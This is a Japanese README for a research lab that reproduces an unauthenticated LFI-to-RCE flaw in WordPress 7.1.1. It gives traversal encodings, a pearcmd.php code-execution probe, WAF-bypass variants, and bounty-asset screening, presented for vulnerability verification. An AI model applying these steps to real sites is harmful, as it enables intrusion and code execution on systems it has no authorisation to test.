
WordPress Core <= 7.1.1 未認証LFIからRCE - 検証ラボ、PoC、nucleiテンプレート (GHSA-7hp8-65ch-5whp)
CVE-2026-87902 (GHSA-7hp8-65ch-5whp) を、ループバック専用の隔離された Docker ラボで再現・検証するためのセキュリティリサーチ資料です。これは WordPress コアのページテンプレート解決における未認証のローカルファイルインクルージョンであり、リモートコード実行にエスカレート可能です。
AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)ステータス: 提供されたラボで実証済み。
WordPress 7.1.1 (Twenty Twelve テーマ) では、未認証の攻撃者が pagename クエリ変数を介してテーマディレクトリ外の PHP ファイルをインクルードでき、さらに公式 PHP イメージの標準設定である register_argc_argv = On を利用して、PEAR の pearcmd.php 経由でマーカーファイルを書き込み・実行できます。
WordPress: 7.1.1
Theme: twentytwelve (page-templates/ present)
PHP: 8.2 (official image, register_argc_argv=On, PEAR present)
Result: LFI oracle fired (<opml version="1.0">); marker probe executed as
uid=33(www-data) and self-deleted
同一構成の WordPress 7.1.2 では、オラクルは完全にブロックされます (ネガティブコントロール)。これはコンテナ内の WordPress Web サーバーユーザーとしてのコード実行を実証するものです。root アクセス、コンテナエスケープ、横展開、ホストの侵害を実証するものではありません。
要件: Docker with Compose v2、Python 3.10+、Docker Hub および wordpress.org (テーマインストール) へのネットワークアクセス。
./lab verify
これは脆弱なラボをビルドし、LFI オラクルと RCE マーカーが発火することを要求し、その後パッチ適用済みラボをビルドしてオラクルが沈黙を保つことを要求します。
別のループバックポートを使用する場合: LAB_PORT=9499 ./lab verify。
その後、./lab reset ですべてを削除します。
脆弱なコントロール:
[+] page-* folder(s) reachable: page-templates (traversal can resolve)
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
...
[RCE] pearcmd.php reachable and taking argv: /usr/local/lib/php/pearcmd.php
[!!!] RCE CONFIRMED (pearcmd.php config-create file write):
evidence: uid=33(www-data) (command `id` ran as the web user)
cleanup : probe self-deleted on execution: confirmed
RESULT: VULNERABLE CONTROL CONFIRMED
パッチ適用済みコントロール:
[=] oracles did not fire: target patched (>= 7.1.2), ...
RESULT: PATCHED CONTROL CONFIRMED
HTTP 200、WAF ブロック、またはオラクルマーカーを伴わない部分的なトラバーサルは、証明として受け入れられません。
./lab start vulnerable # fresh 7.1.1 lab on 127.0.0.1:9471
./lab test # assert LFI + RCE
./lab start patched # fresh 7.1.2 lab
./lab test # assert oracle absence
./lab status
./lab reset # containers, volumes, state
実行中のラボに対してツールを手動で実行します:
python3 poc/triage_cve_2026_87902.py --url http://127.0.0.1:9471
python3 poc/poc_cve_2026_87902.py --url http://127.0.0.1:9471 --rce
nuclei -t nuclei/cve-2026-87902.yaml -u http://127.0.0.1:9471 -silent
所有している、または明示的にテストを許可されているシステム (バグバウンティのスコープ、書面による契約) の場合、ドライバーは明示的なオーバーライドを要求します:
python3 poc/poc_cve_2026_87902.py --url https://target.example \
--allow-authorized-non-loopback [--insecure] [--rce]
wp-includes/template.php の get_page_template() は、pagename クエリ変数から候補テンプレートファイル名を構築します。3行上の兄弟ブランチはページテンプレートスラッグを validate_file() に通していますが、pagename ブランチはそうしておらず、さらに urldecode() でデコードされた候補を追加でプッシュします:
// wp-includes/template.php, get_page_template(), WordPress <= 7.1.1
if ( $pagename ) {
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) { // 7.1.2 adds validate_file()
$templates[] = "page-{$pagename_decoded}.php";
}
$templates[] = "page-{$pagename}.php";
}
7.1.2 では、デコードされた候補に validate_file() を適用し、さらに 解決されたすべてのテンプレートパスが通過しなければならない封じ込めゲート (_wp_is_template_path_allowed()) を追加しています。
locate_template() は両方をチェックします) が、page- で始まるトップレベルディレクトリを含んでいること。レガシーなデフォルトテーマ (Twenty Twelve、Twenty Fourteen) およびいくつかの wp.org テーマ (Neve、Hestia、Sydney) が該当します。調査した商用テーマ (Divi、Avada、Flatsome、Woodmart、Betheme、The7、Enfold、Salient、Jupiter/X、Porto、Houzez、XStore、Kalium、Uncode) は いずれも含んでいません - トラバーサルは解決できません。ミラーソースのリストについては PoC の PRO_THEME_PAGE_DIRS を参照してください。.php で終わる必要があります (コードによって追加されます)。register_argc_argv = On と PEAR の pearcmd.php が必要です。アドバイザリと Patchstack の記事は、動作するリクエストを公開することを控えています。これらの詳細は、このラボで経験的に確立されました:
page_id アンカーは必須です。 解決されない pagename は is_404 を反転させ、そのテンプレートが get_page_template() を完全に覆い隠します。解決可能な公開済みの page_id でクエリをアンカーしてください。get_posts() は sanitize_title_for_query( wp_basename( … ) ) を介して pagename を書き換えます: 生の .. は - になりますが、%hex シーケンスは生き残ります。get_page_template() 内の追加の urldecode() がトラバーサルを明らかにします。%252e/%252f のみが機能します。redirect_canonical は GET を 301 リダイレクトし、ペイロードを破棄します。非 GET/HEAD の場合は即座に戻ります)。page-templates/ から ../ が4つ。$_POST をクエリ変数にマージします) - これが WAF 回避層の基礎です。$argv トークンを urldecode せず、PEAR の設定シリアライザは両方の引用符スタイルをエスケープします - したがって、生の、引用符なしの、+ 区切りのプローブとなります。| パス | 目的 |
|---|---|
poc/poc_cve_2026_87902.py | 完全な PoC: バージョン + WAF フィンガープリント、テーマ/page-* フォルダ列挙 (wp.org SVN、アセット参照ディスカバリ、調査済み pro テーママップ)、アンカーディスカバリ、8 バリアントの LFI オラクル、比較的空ボディフォールバックオラクル、--rce pearcmd チェーン、--lab docker デモ |
poc/triage_cve_2026_87902.py | ターゲットごとまたはバッチの判定と、名前付きの失敗ゲート (EXPLOITABLE / NOT EXPLOITABLE / WAF SUSPECTED / INCONCLUSIVE) |
poc/bounty_screen.py | スコープ内 のバグバウンティアセットリストを処理: crt.sh ワイルドカード展開 → WP フィルタ → 前提条件スクリーン → 候補ハンドオフ |
nuclei/cve-2026-87902.yaml | Nuclei テンプレート: 安全な LFI オラクル (174 ペイロード: 10 の page-* 残り、二重/三重エンコード層、ID 1–30) |
WAF フィンガープリンティングは Imperva/Incapsula、Cloudflare、Akamai、AWS CloudFront/WAF、Sucuri、F5 をカバーします。8 つのオラクルバリアント: 二重エンコード、代替 %25%32%65 表記、パラメータポリューション、三重エンコード - それぞれクエリ文字列と POST ボディ内。マルチパートボディと生スラッシュペイロードはテストされ、拒否されました (WP はこのシンクに対してそれらを処理しません)。
| バージョン | 評価 |
|---|---|
| WordPress 7.1.1 | LFI + pearcmd RCE をエンドツーエンドで再現 |
| WordPress 6.5.3 / 5.9.17 | LFI オラクルを再現 |
| WordPress 4.7.0–7.1.1 (その他のブランチ) | 影響を受けると報告; GHSA ごとのブランチテーブル |
| WordPress 7.1.2 | パッチ適用済みネガティブコントロールを再現 |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-87902.yaml
└── poc/
├── bounty_screen.py
├── poc_cve_2026_87902.py
└── triage_cve_2026_87902.py
コミットされていないもの: .lab-state、__pycache__/、スクリーナー出力ファイル。
| 主張 | ステータス |
|---|---|
| テーマディレクトリ外への未認証 LFI | 証明済み (7.1.1, 6.5.3, 5.9.17) |
Web ユーザーとしての pearcmd.php config-create 経由の RCE | 証明済み (7.1.1 ラボ) |
| プローブの自己削除 / 永続的なアーティファクトなし | 証明済み |
| パッチ適用済みネガティブコントロール (7.1.2) | 証明済み |
| すべての中間の影響を受けるリリースのテスト | 未テスト |
| 実際の商用 WAF に対する WAF バイパスバリアント | ラボ由来、WAF テストなし |
| root 権限 / コンテナエスケープ / ホストの侵害 | 主張なし |
page_id アンカーと二重エンコーディング要件を確認; 比較用の wp-content/index.php 空ボディオラクルの出典。ここでは堅牢化されたサイト向けのフォールバックとして含まれています)脆弱性は Robert Ressl によって報告されました。このリポジトリは独立した第三者による分析とツールです。
MIT - LICENSE を参照してください。
このリポジトリは、所有している、または明示的にテストを許可されているシステムでのみ実行してください。ラボドライバーは vulnerable/patched 以外のバリアントを拒否し、Python ドライバーは --allow-authorized-non-loopback が指定されない限り非ループバックターゲットを拒否し、Compose ポートは 127.0.0.1 にバインドされています。
開示の取り扱いについては SECURITY.md を参照してください。このリポジトリには、本番ターゲット、顧客データ、アクセストークン、実際のシステムからのエビデンスは含まれていません。
具体的には:
127.0.0.1 のみで公開します。wp-links-opml.php (OPML ドキュメントを出力する標準コアファイル) をインクルードします。--rce はオプトインであり、公開文書化された pearcmd.php の config-create 技術を介して 引用符なしの自己削除 マーカープローブ (<?=id,unlink(__FILE__)?>) を書き込みます。プローブはその単一実行で自身を削除し、PoC は削除を検証します。シェル、コールバック、永続化はありません。start ごとにクリーンな公式イメージから再プロビジョニングします。ターゲットのインストルメンテーションはありません。